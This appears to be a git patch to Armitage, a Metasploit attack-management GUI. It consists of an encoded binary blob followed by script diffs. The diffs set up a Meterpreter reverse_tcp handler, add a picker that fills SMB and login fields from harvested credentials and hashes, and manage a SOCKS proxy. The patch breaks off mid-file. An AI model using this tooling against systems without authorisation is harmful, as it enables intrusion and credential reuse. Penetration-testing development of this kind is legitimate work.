z>U4_3$Ie@uQsoFtKkfcBB5s^<T?81N&v1C+MQc|Me`Rp&Sq=wBiVX#?o1B<&4_5mz zC;kx$#+vt8Ss;CiM3nb>#E4|U>J|GAqh;^l{T~yEXMI#y`i_;=##^myOxg8BL%%b) z@Ee0eC^8yLmlTzaITih7h`LW;P#r8|v%t>MfmY{R;}E{e#*QX5)R=OWdqsm`gH0)h zP0_d>^tIzij*AVRF=4ieXaL5^4o294O5E_!t)#{#R_5tks_bP0F-rB;wG@)*1#U@F zazk(*akrtlK{h^g5Hpmjb|r}l;`4-mBQT5$u)$=22b#M#604dVrl>}kkwU83Skci& zxbD@hCKvArvr&_#F`!OiGISvlkTl~AYYa&vBV~MBW3ig5ToaipX^i=D7Cme%dS|q= zv84DWh%T4^(X1w72f?}%J!vAgRJrxEp+WtiW{0LIefAsW;hVCWVpKlv%ZNV0{r>Db zkOs$~BS%whD0H)JMe=Tji}`s5=_dbxqE+js{h-V#y%`uL%#)#~&7fbCg)&v4g{Y=x z&BZFJri)5LS<S^5Rm_qfP?+l7F_{|Q0=|1%$(HL79}Go)#E^4K7^6?%k3u!Yx5Vv~ z7%W34TH;P*SjZ0s3+m{H3wqO5s5m;cG+s2_)`nKMg4IXQm2fQ;EwXhh)tYZCDm5j! zFfmqarh2nNrUqx)Rw%`4-x{oU)=Gs{=x|3w+YkngeJ??HoTkXunGUsv2i}-dR3|+7 z{IxZP`D#l}6x(a;sAn7aWTBN2@u!?Ns8HF~h+usGi!-~@b)aTj44e&qyiB9jIMMjF z;678ABVq%M7u{pX=XxB$bMaO*u%SkZ;UFP6(#U8@s~d4xLz#^=r7s2DqBz%yE*e{U z_di@NA4HcznzsXTy-_KoWebf)9#ZWUl6u6J;=0`)?Oo~yGilqS8|~W}%WzZ8V8?hx z<x8E647SuL9=b@&xQ=}kTz1_{ai#SEm*k1o9ni#)p}fq03@nAigBse%VAD|?9z0&- z!_~Iv2>9PI9F9%Vc=M(b7(5gCPv$#t+tId;$cJcB8B&QXJHZf1c!NhLEK>fO%D(;R zL?>`OTF5!PI^(Y6^m6La86z%b6$c0I!uG-4I7Fyr7s&sx#R$8w*woNa1|P}daP>Wg zE_FGn=(yuyD(otHkVRLlS`v?OqH9;EbRQ3&bQLR5>=_tbvc~nUkf=M&;8<Y|9!Fut z@!g>5>kGVM+!gMeAffdojyT0(Nqzn@C&I65Txez-BI`j8M`CXp98&Y4La&0`Mg|Kq z3^)xneXQUT?s2Z)yNfM_>-RbFp*ybFuU>Pa+j~RD`^95ay)M*XZDNOs^)s9)EfUW# zeB4JFFNtT9NRdPZP=721g{CTs>LFI9(><^(z#WaI7yQ`F-p-mld!j4t?KpD6#V&|` zXUGKXKr$X6j#M7(igNL%5uE2Z`k{b^<|B>9qKIq`%MLlZa=(Hlf(;=~e0OkE=p z8Jq0P>1%I@ceun$=UfFM<<5HaLGmK;6N5Xd#)sHbZhJdFGWiYD=aZ`T6x!O}pSu2r z<iMR6i4y6=Z<xJmj+Qy?`-1b!44Fy-C0yM{tNTJ)qkI|l?k84PeJ<y~Wse6X><ggK z0SLhJ{b2B()j4q~+yQ6z`$Ny2wK(D);b2R*o*1smsr?Z}%j)nl(`W}g(zU>_s=La{ zUc~USatW|^_12tN-NC_{%=Z|C3`qdvR2&dy?H6=)KrYV2Amk(~3+%+p7It^QoAAz{ zOp^#B^^W6kc5l2$qgx`h{20%XRf$*zUhBn)hy<v7-gp=1kOYb53B0Uf5^k8^ByytD zPzP7qnFKlU!#Q$ctb+r4YEfRNIt@V8QKMK{D`9d5%^QexNx^alU-HypkX~fPWtK^B z#z5R~zSzqC_NBOi2%8F7jOZkU?&S4W?t@xC*1)3=IF!!xh5q5NpofhEEj{31PmB9P zgTaH)<?s7w-XO7;YU&|}1?e^}WIb5qd-~dWkE%N&|9uhvl-d5YBMy{z$^o<0U^$CF zaj=LND;%ZegT;zcUi@-Qw>IOkjq*GGDL3f8Ho;4Cu(JGbu*hFvVL1eKcg1qF&JdBm zA0h4Y_)C8x^F9dadu4+E$T7ys-|Mu5)!loN_6-sFu5`HDn{7>t@xlf(lQKBSV*KEw z*e&`nMD&q%$J~aZTEl;+#!!*Jk*6C2rd6l0LuHPY3^-PU4i6RiJ1!<<Zna&gH!btL zy6I2b5_M~m$uN=cqpT6t%`1fnW$M=vezIA)zSMA-$lp$tFbu-GETrkfME+`{%?xnK zr8C3i=3g*iz&J7+F8WGaFHdL8)GS4B^l*l9GooQ|MOq$O(OvuVp~OvnyAFGSD(t|D zawp40OX<T!{(hh0;b^H^2)U1tfv6FpyDF<zC5nx#<ot_JUCeK8so3oshAkka&_rii z0~wO{_aztJSt6K}S!`+YlNr2xDSw1)28)qs=|v@fnyvLO{o)?J9UO~NA>}m<7%AKK zZdQ)i3Y(2<(5`Z0C^v(48MqQxG|Rp9s7#sOZ-0)P|E*wL4rD$`<gb`;y?e$a4SP3< z=#O%nyJrf8jS_<-%hw4zR>vGiRqDg+%F`YG(*miG0zGKWD3QNR>+mS_Xy{xC_M*?D zM1Gp<-wWN-;xG!Pw)=T7^jj?PVjp6(Xe*gcxcWIS7bj`d!DW65;F8@mV6^BXam{d< z>v96y?UAj1-gd$x-rGlu{9RwUqhZ3rJM_i?*o^`3^%d#H$TmGS==r>3*lM*!2bE)7 z^`3@~5q-O|P1Yovka!ntEpEl0F;p{tGE@Ki6li?c58m*l8<zBQ6!wj@f9?z;S3qh{ zx#?O1hiS)%o>G4f`mTRB5yQM=?9bb{W35OxR^;yiYB?6_`&XjGu_AvLSsDWl2GB-u z#4$}B@?-z~1MYn6^K)xAbU{W<2lN>@V%Yzq>!yz}yLUoK7yZu>wl9o)ljXUhX)+pJ z+Khfn7QH3q=Ztr0xewj@fWtV-Ip;uo+K?;{>GQ1Gs^0W8SswHj;{Z@1`HzzYw_w1` zWJ(w(`)@V_HmA^*aq@`CX28JN^lF?u(8fBvetQPi4S?3l?Z;>7q#rLU7?|Mm*aDhu z3Hy1Q{yx#5@v=VY<00I6D{UVy2ibdf?|<2LZ^yu&jp?+5-i{YNdoz=J^eDO*hmaVA zf68GQe&mPAhm9N<(reIw0sV*Th7TD0bC4{*ysu><B5Ny-BPqLa=?H~Pkj)W00SflJ zKm#Voll`KcLnbAd4Z^VvkMJ~pGE-BsY1;&`g5;h7XXi}mkIRq^;!8PYZF@q`C*WSZ z$?G5*q7HVU1{1LeD)UCB=1#=E&C5cWdOA@ISGE2qQ?pBgY}xi_km}MG1A7WqK&`&X z)cq8(hU!wWM7fea73-nqCe&jA)_uvTxR586<;2BQtYUCXNGd5m2}BtiPSkb@#^&i- zcFW=xT>8$b*p@TYbPKkjoJm+*9Jk}h=kmc=bxsCy!jU80CnL#Qf~*;9c>83C&qh*= z5v!&k{jaGQY)a}WsPNjo6s+?Lwxl=)CwUs-aG{&Gk-)*sz+iK}>FPZLxATjG6*^Ax z<*f6jie}VwDi$l1{ESGLFfqVLn9*@D*o@vzMQeCUSkg_LhMR_{5Kg2_Ll+WoE{JKJ z&4>x1oba3uwnf!AF^~~iIOoIIj!nlJ)uuHk%x0k59&wz=8wRzz&A|QeeHn@WU9_b= zjAuqX=aG<{{;)3I#}Xv`)zb(!68iKu61J2z0QSDcc)s^BinpeKG-Qp7`Wg{iN=d^V z)5ZiN;>_P2AzAL}2!-WxlZ;%}q@M}3W)3Qaq|HRnQiqg6@@7JI*054YtywTd7o@P6 zDbQhSS~Lssw|X>3Ql_J4Z)ZWr*~z7l#<Q_ZZ#=<>xKY+@^eigHh-j#IHfoifY(#LP zU=~6}dJ%@ynIUtqU`?CK8KkCj=D^@T7|hdyHPm&cs21K$FU3`EF1q#XcaF>>sH|In z|Mi;-4T@)$g7?jZmL2985qI*O2cCWNjEFTQ%|rjkFW`ve@MFu7$H7x)*xY8pdUKV+ z<R>$XtY+k%j$kdfh9O>*l#W2TAQQ*Zv3qtKDSB2?VLk$}BQmgzShg$Jk<#WvkCH7M zxjr8TkILdi@B(;f@lHmx6?*KJITnaD@KVV51)?`;7lOO}NnWtzJlr#HA%t!Ciz9ay zqW<sa$Ziqx|MxF)aQY&+q9j}9SOjhIu5hAS27;#Bbxy3l5C43g#j+9^aE<OJhaY7i zXW)8^5uT(jWY2*!!*nFv>;`=ZrdGwlm84UP9N*0FO=Yw+*h=e6cL`HrGnGVDqI!!l z3vMl^r5qb=0M)~(QC??;t+w>-$52y=!<!x~M(t7NKPWS5umqFkM0IKCf`itIb}oVF z&sJLUcGdb&@e)-0Y9mp4N?eMvYj$$k!KJuGMI9>e(E3S7Ww{bA6}6?OPLuK!u}o|( zti`KpS0Jsic^UlM-GdXW{Ir&&oomp)$X`)4zXIoKwj92y=);MX%Q2Prsl<to%VGEU zKu)Z#qE(lg9{a3-@jnH#vi}LMbeu<93k?>pfTtgXG6b<4t~D*CeV3Imd*fPKN{Z5Y zQj95XQzbWT04_`jqrt1thx;orbn1n3LbnQj-Cvgx&4uwzNV6K@d7?EQppqO@unKp4 zkxd!gNvPVK7pJYpa9Q7y6Zxxg6-$c69YQC(e<ETHlw041j;%qI&Rhdy4QR`V4uYl~ z`}U$5YcX6Nb)|l5aRd8j935PX%<$cwS~5w}`tr+HoptENtUh>laiG?lL&>8QvC(Is zmeNMSanj}P4&(oGh!$6V^x7<0>&Ww=QrE*WQD{CwDy+o$X95z$WGc?Y7Rs?q4APug zjA*V}Iva2E$v~rc0b!8pC22{sM(ak6*>E_$9)kL>)>2fKwmcQB7wfA$G9{`i<!k`M zqzz!`uu*0>xB&}=4O=D3jjT2xub|xshEKb-<Z%>T9dr(Lk{OhEP)qYp!Fue}FL&4l zhL63drB&C#s@?>v{&|gRY!ah|f*aIhGv?`en=r9yZyO0ydb|nt{(O%iZlvD~JI{H@ z2-rEFgBLc#bGc8c^%kh(u>})?>q|z&2&RQpxCH@qU<+b0<v&Km3Z@^p^oU}NEljN% z8om{#yYY#`wk9DKw0$dd^ZCk=w_7psBo=cbY#Rc9go=i2L+p6tJ;mD)eDO9Rru1eT z>TI)S2#&*KA=lQ~!ARf;cotND<z_@o>2(%V4D~9746cl}yKNVPOm0$c7TY1*4s+!C zahA(^lz!L_b1d>VA}(Zm750tafslR|V1)6uh#hDTo|4qb-vK#&bevdOGX&3Q?u53c zRX7q64kV2suGKhlVJFNusRl*uMrRI3gxIlS4IPRKDLs*7*5VBJqCy;K+kP;l?Sd&y z>u@-tVTcW{cZ<Olktp8{C&o7p(U9jKXf3WjN0v3imV#7&SxZF&QyX%I{eQs4hnsN1 zayR_Z2d7nc!^TgWQTlFdtH-orv@?C(E!HyWM}>dj@0`8Z?%LiNvghuFZZEqiWM6MX zKKn!;%IX}VrlWfhAye9O<nQiyN2=FJRH?HUdZ%{g@R+@rRp!NU;_hBV?VTQsXf2HF z&l-249YfKUWT;L1Q1N>Lhi~meGHm|<P85s`@h4X{OnU4GPuD?4*pW8uhtKv8myz+X zdhvdk>Fr1gI)IDj)=@O^fY^*Z+;Z^%&Xcqs7edKXLjrlWOPUy3AB4=06KTz1+~cPl zM7!B3oX9zd9P^%3PP|NmXRxf(P=iCLuy_)Ovu6UvdR{~64DL3W!zT{mx*9Zv6V`{} ziuXSV3+jCs%{-XOikk^G)9KA&oNB3)j)m*e5FgSq)Av7uk^gK<2wCq5@gfUz!xX+3 zxDcL2xkoTjzt~M)N8!>N$7s+|v7yNU8h8|5yl@n;8*rXsc<=gESlHu`VMeKW4E3ku z$EH}>i5n>UG22W>nJWBB2*uwCait^2F!$BC8A4t1LMqV9HBjop!;sRK=Dq)f(CvpI zzTESDjzjXZdz5+{r{ogz*ta9yIgZFncuaODFmkIEQnwRuez^~{6SQjd=MegS0`u+d zBD}lQLgz%2vazCwT_u*I(I-VW)wnV`hI_NuiXicM5+n9c6UsY@x+esw$cc(9b!v97 zFi7=4rK8Y_kTTasXGKd-;XqEiaz7wnvOEp09i~4ZOPYBQ_8NE^{XXO*;T7ncrw;GU zW2^-(GNk?!v%FP#iK<9{4>CC8R;aGDJx*7aMce)*n$n>^aXzRx=m%6o)upyfb^8k; zajz~d{tI3C6sseT&gkWj)vnVS*m6H!pM3@avZxbHID-JG)<s91dh0y+6#SmCSj3U$ zEKVrC@6NtmDdjBoKKJ$1(Vax_WuL`R7~hA!o<;5OemaUDq6=ad9PFbc(6V#5BK$Rg zUY&z$1`VcKe~V32vqtM^SE|m7kI99T75$qqRw{I$cT43%>1iz%r%b{9^G5vhGTukC zL+Kxrb>u!3onkM>k`iK-biESn@l?qJ+*9MMx$%>kx__LG?oLIcC59&>)6e6Uy<947 zKMyw`TR?XhVDmeDJ})Odye<G3HJb)s#QZpIl>E>}5<_Rt<>=ZAB7c<QAVYhmbM!4x z>HfZPE4S1U$Z-xwwpgiq@B+?S=c3H2TGM@aE#w($;HgCAgNgSRGS*;8$CVe+Ozb*3 zd{L|{_1OGw>koC%;~?asmC4tT4LWMIL+4Ijmqh*^*&7>{d0#|EtqrWB<Xy9cnq875 zx}Qv1mJEIGL#mQ%{dOIl-w%m9AW>>vuUmKM8v0iNekE_mT{;?nNcU^%*DI$?hhE5t ze1<)g59RdUO%*ST{GspWmyxafeo99zE+WX-xd^GfnjcMG_C<S*(VjAOfALQQ_+=K5 zm*w6r>RhXJC~}9rkzG<gdzy5HzFrms0$GZv#kDiu70}Z#*iZSG$hB;p;rH38;4i(i z<j}Rz*Y9<O2}dB=t7P}SMyc6y@<(0f`Pu<cF%5#1Tw8C_2?N)E+YWd?fUFd_L&??n zHkBB-tQNd>+5@gHzi_p?PxW%-7C$A_*--;6vV^HpR;@=g-oW+q&(9miM`r4Zd^(aN zr!w#6AjUesq%S#g+TAM`K)`FNlPjn8E>x-P!k!bEhZdD-t1oY8qJisC^-$A|;M(yE z*WU$n%D`1)`LrbV?0hb4rIfYq9hJKxR+JuY;y)f7dPQ^+dVioMSLDQH(iMbBoi92{ z!yi(FyqSBd);To#5+apZ<H<!jI%BB#f>j*<O-JTeMIWi6^y8(dG#h#-^L$|?I*Pd} zXCjlX!WJ*_QqpT!2(G>=@+YZkBtJB}j8@%Yer3A;or<%*04p288P`z1s2m5YUE?6d zFjT<%U6|AfK&4<?k@2B$K2-V&m6TFF)r>WW=MYQ(Y^A}Y_|8myVa2$dtMXs5{5i3C z=jo2G>^bgqj1lEr8K=>cU3t93*f{RYFFkuU1AWUz*eiKQI!U~)wCTFYA0krxlAl7K zFgJ<Uh1MOBUygkDFP}L(!1E6O0u;OtJjm|`Zui*4-0cRebF~7Ey&>nCS23WGHyycw zoG9ZcU;q{g);C4|e&{dP-<zgDU<Upv^WJ|1QLCFG->O*u&+Vww;LyQ!)$wikWTy7Q zdoFK^(UO6W_35|vG!ohEkVjW`ehhA=ZsNS{>=kl<8pcFd9|vL4u$6K?99@MX{t+un z+9v!1ZMD^CIsmDKc<tjM?A0Y6sHU6~3#(D~Kk_!;oIuMlYY-0h&_&6GM+lv6iTuR} r#vf6`Q$Na__lw$iLwmH|#W}WFIry<mnQLXQm2EoDq)h(^J*fW!6m5(L diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index 5ea39884dd..c1e03e579b 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,32 @@ Armitage Changelog ================== +23 Jan 13 (tested against msf 16351) +--------- +- Added helpers to set EXE::Custom and EXE::Template options. +- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts +- Cleaned up Armitage -> SOCKS Proxy job management code. The code to + check if a proxy server is up was deadlock prone. Removed it. +- Starting SOCKS Proxy module now opens a tab displaying the module + start process. An event is posted to the event log too. +- Created an option helper to select credentials for SMBUser, SMBPass, + USERNAME, and PASSWORD. +- Added a feature to label hosts. A label will show up in its own column + in table view or below all info in graph view. Any team member may + change a label through [host] -> host -> Set Label. You may also use + dynamic workspaces to show hosts with certain labels attached. +- Fixed bad things happening when connecting Armitage to 'localhost' and + not '127.0.0.1'. +- Screenshots and Webcam shots are now centered in their tab. +- Added an alternate .bat file to start msfrpcd on Windows in the + Metasploit 4.5 installer's environment. +- Added a color-style for [!] warning messages + +Cortana Updates (for scripters) +-------- +- &handler function now works as advertised. +- Cortana now avoids use of core.setg + 4 Jan 13 (tested against msf 16252) -------- - Added a helper to set REXE option diff --git a/external/source/armitage/build.xml b/external/source/armitage/build.xml index b9d4ca043e..f5bac934dc 100644 --- a/external/source/armitage/build.xml +++ b/external/source/armitage/build.xml @@ -16,6 +16,8 @@ depend="yes" debug="true" optimize="yes" + target="1.6" + source="1.6" includeantruntime="fuckno" > <classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" /> diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index 85c4fe5dbb..e19056effa 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@ <center><h1>Armitage 1.45</h1></center> <p>An attack management tool for Metasploit® - <br />Release: 4 Jan 13</p> + <br />Release: 23 Jan 13</p> <br /> <p>Developed by:</p> diff --git a/external/source/armitage/resources/msfconsole.style b/external/source/armitage/resources/msfconsole.style index a8aa516621..3d927f37a9 100644 --- a/external/source/armitage/resources/msfconsole.style +++ b/external/source/armitage/resources/msfconsole.style @@ -4,6 +4,7 @@ ^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) > ^\[\*\] (.*) \cC[*]\o $1 ^\[\+\] (.*) \c9[+]\o $1 +^\[\!\] (.*) \c8[!]\o $1 ^\[\-\] (.*) \c4[-]\o $1 ^ =\[ (.*) =[\c7 $1 ^(=[=\s]+) \cE$1 diff --git a/external/source/armitage/resources/msfrpcd_new.bat b/external/source/armitage/resources/msfrpcd_new.bat new file mode 100644 index 0000000000..b1bcb31a21 --- /dev/null +++ b/external/source/armitage/resources/msfrpcd_new.bat @@ -0,0 +1,12 @@ +@echo off +set BASE=$$BASE$$..\..\ +cd "%BASE%" +set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%nmap;%BASE%postgresql\bin;%PATH% +IF NOT EXIST "%BASE%java" GOTO NO_JAVA +set JAVA_HOME="%BASE%java" +:NO_JAVA +set MSF_DATABASE_CONFIG="%BASE%apps\pro\ui\config\database.yml" +set MSF_BUNDLE_GEMS=0 +set BUNDLE_GEMFILE=%BASE%apps\pro\ui\Gemfile +cd "%BASE%apps\pro\msf3" +rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$ diff --git a/external/source/armitage/scripts-cortana/cortanadb.sl b/external/source/armitage/scripts-cortana/cortanadb.sl index 97eae7e56b..8b1842f5fc 100644 --- a/external/source/armitage/scripts-cortana/cortanadb.sl +++ b/external/source/armitage/scripts-cortana/cortanadb.sl @@ -42,8 +42,13 @@ sub c_client { sub setupHandlers { find_job("Exploit: multi/handler", { if ($1 == -1) { + # set LPORT for the user... + local('$c'); + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LPORT " . randomPort() . "\n"); + call($client, "console.release", $c); + # setup a handler for meterpreter - call($client, "core.setg", "LPORT", randomPort()); call($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", @@ -55,7 +60,7 @@ sub setupHandlers { sub main { global('$client $mclient'); - local('%r $exception'); + local('%r $exception $lhost $temp $c'); setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); @@ -81,8 +86,24 @@ sub main { # setup second thread. %r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326); + # resolve lhost.. + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LHOST\n"); + while ($lhost eq "") { + $temp = call($client, "console.read", $c)['data']; + if (["$temp" startsWith: "LHOST => "]) { + $lhost = substr(["$temp" trim], 9); + } + else { + # this shouldn't happen because having LHOST set is a precondition + # for Cortana to connect to a team server. + sleep(1000); + } + } + call($client, "console.release", $c); + # pass some objects back yo. - [$loader passObjects: $client, $mclient]; + [$loader passObjects: $client, $mclient, $lhost]; # don't make previous messages available... call($mclient, "armitage.skip"); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index d434f920da..c83929a79c 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,7 +9,7 @@ import msf.*; # setg("varname", "value") sub setg { - call_async("core.setg", $1, $2); + cmd_safe("setg $1 $2"); } sub readg { @@ -335,14 +335,22 @@ sub multi_handler { } sub handler { - local('%o $3'); + local('%o $3 $key $value'); + + # default options + %o['PAYLOAD'] = $1; + %o['LPORT'] = $2; + %o['DisablePayloadHandler'] = 'false'; + %o['ExitOnSession'] = 'false'; + + # let the user override anything if ($3) { - %o = copy($3); + foreach $key => $value ($3) { + %o[$key] = $value; + } } - %o['PAYLOAD'] = "payload/ $+ $1"; - %o['LPORT'] = $2; - + # make sure LHOST is correct if ('LHOST' !in %o) { if ("*http*" iswm $1) { %o['LHOST'] = lhost(); @@ -352,6 +360,7 @@ sub handler { } } + # let's do it... return launch('exploit', 'multi/handler', %o); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 2cf69a9a97..fe2af9a9ec 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -59,7 +59,7 @@ sub showHost { else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) { push(@overlay, 'resources/windowsxp.png'); } - else if ("*8*" iswm $match) { + else if ("*8*" iswm $match && "*2008*" !iswm $match) { push(@overlay, 'resources/windows8.png'); } else { @@ -139,7 +139,7 @@ sub _connectToMetasploit { $progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100]; # keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose. - $REMOTE = iff($1 eq "127.0.0.1", $null, 1); + $REMOTE = iff($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost", $null, 1); $flag = 10; while ($flag) { @@ -160,7 +160,7 @@ sub _connectToMetasploit { } # connecting locally? go to Metasploit directly... - if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") { + if ($REMOTE is $null) { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; @@ -239,10 +239,6 @@ sub _connectToMetasploit { [$progress setNote: "Connected: ..."]; [$progress setProgress: 60]; - if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') { - showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server."); - } - dispatchEvent(&postSetup); }, \$progress)); } diff --git a/external/source/armitage/scripts/attacks.sl b/external/source/armitage/scripts/attacks.sl index 4940fb4474..9fa13c9902 100644 --- a/external/source/armitage/scripts/attacks.sl +++ b/external/source/armitage/scripts/attacks.sl @@ -679,12 +679,20 @@ sub addFileListener { $actions["SigningCert"] = $actions["*FILE*"]; $actions["SigningKey"] = $actions["*FILE*"]; $actions["Wordlist"] = $actions["*FILE*"]; + $actions["EXE::Custom"] = $actions["*FILE*"]; + $actions["EXE::Template"] = $actions["*FILE*"]; $actions["WORDLIST"] = $actions["*FILE*"]; $actions["REXE"] = $actions["*FILE*"]; # set up an action to choose a session $actions["SESSION"] = lambda(&chooseSession); + # helpers to set credential pairs from database... yay? + $actions["USERNAME"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["PASSWORD"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["SMBUser"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + $actions["SMBPass"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + # set up an action to pop up a file chooser for different file type values. $actions["RHOST"] = { local('$title $temp'); diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index da5f974c10..7f7f155f88 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -446,7 +446,7 @@ sub quickListDialog { $button = [new JButton: $2]; [$button addActionListener: lambda({ - [$callback : [$model getSelectedValueFromColumn: $table, $lead]]; + [$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model]; [$dialog setVisible: 0]; }, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])]; diff --git a/external/source/armitage/scripts/jobs.sl b/external/source/armitage/scripts/jobs.sl index fc30868be7..603f8ccf1b 100644 --- a/external/source/armitage/scripts/jobs.sl +++ b/external/source/armitage/scripts/jobs.sl @@ -16,47 +16,7 @@ import java.awt.event.*; import ui.*; sub manage_proxy_server { - manage_job("Auxiliary: server/socks4a", - # start server function - { - launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null); - }, - # description of job (for job kill function) - { - local('$host $port'); - ($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT")); - return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?"; - } - ); - -} - -sub report_url { - find_job($name, { - if ($1 == -1) { - showError("Server not found"); - } - else { - local('$job $host $port $uripath'); - $job = call($client, "job.info", $1); - - ($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT")); - $uripath = $job["info"]["uripath"]; - - local('$dialog $text $ok'); - $dialog = dialog("Output", 320, 240); - $text = [new JTextArea]; - [$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"]; - - $button = [new JButton: "Ok"]; - [$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)]; - - [$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]]; - [$dialog add: center($button), [BorderLayout SOUTH]]; - - [$dialog setVisible: 1]; - } - }); + launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", 1); } sub find_job { @@ -80,26 +40,6 @@ sub find_job { }, $name => $1, $function => $2)); } -# manage_job(job name, { start job function }, { job dialog info }) -sub manage_job { - local('$name $startf $stopf'); - ($name, $startf, $stopf) = @_; - - find_job($name, lambda({ - if ($1 == -1) { - [$startf]; - } - else { - local('$job $confirm $foo $confirm'); - $job = call($client, "job.info", $1); - $confirm = askYesNo([$stopf : $1, $job], "Stop Job"); - if ($confirm eq "0") { - call_async($client, "job.stop", $1); - } - } - }, \$startf, \$stopf)); -} - sub generatePayload { local('$file'); $file = saveFile2(); @@ -450,6 +390,11 @@ sub _launch_dialog { elog("launched DNS enum for $domain"); } } + else if ($type eq "auxiliary" && $command eq "server/socks4a") { + local('$host $port'); + ($host, $port) = values($options, @('SRVHOST', 'SRVPORT')); + elog("started SOCKS proxy server at $host $+ : $+ $port"); + } launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]); } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 7c70ba2d62..59cd3c5143 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -54,6 +54,29 @@ sub host_selected_items { item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista")); item($i, '4. 8/RT', '4', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "8")); + item($h, "Set Label...", 'S', lambda({ + # calculate preexisting label to prompt with + local('$label %l $host'); + + # get a label + foreach $host ($hosts) { + if ($label eq "") { + $label = getHostLabel($host); + } + } + + # ask for a label + $label = ask("Set label to:", $label); + if ($label !is $null) { + foreach $host ($hosts) { + %l[$host] = ["$label" trim]; + } + call_async($mclient, "db.report_labels", %l); + } + }, $hosts => $2)); + + separator($h); + item($h, "Remove Host", 'R', clearHostFunction($2)); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index 19feb846c3..ad9f68ce6a 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -372,3 +372,34 @@ sub launchBruteForce { [$console start]; }, $type => $1, $module => $2, $options => $3, $title => $4)); } + +sub credentialHelper { + thread(lambda({ + [Thread yield]; + + # gather our credentials please + local('$creds $cred @creds'); + $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + if ($PASS eq "SMBPass" || $cred['ptype'] ne "smb_hash") { + push(@creds, $cred); + } + } + + # pop up a dialog to let the user choose their favorite set + quickListDialog("Choose credentials", "Select", @("user", "user", "pass", "host"), @creds, $width => 640, $height => 240, lambda({ + if ($1 eq "") { + return; + } + + local('$user $pass'); + $user = [$3 getSelectedValueFromColumn: $2, 'user']; + $pass = [$3 getSelectedValueFromColumn: $2, 'pass']; + + [$model setValueForKey: $USER, "Value", $user]; + [$model setValueForKey: $PASS, "Value", $pass]; + [$model fireListeners]; + }, \$callback, \$model, \$USER, \$PASS)); + }, \$USER, \$PASS, \$model, $callback => $4)); +} + diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 78f9738dbb..1ea04e9671 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -403,9 +403,6 @@ sub main { # we need this global to be set so our reverse listeners work as expected. $MY_ADDRESS = $host; - # make sure clients know a team server is present. can't happen async. - call($client, "core.setg", "ARMITAGE_TEAM", '1'); - # # setup the client cache # diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 7929dac696..3721006ea7 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -21,6 +21,10 @@ sub getHostOS { return iff($1 in %hosts, %hosts[$1]['os_name'], $null); } 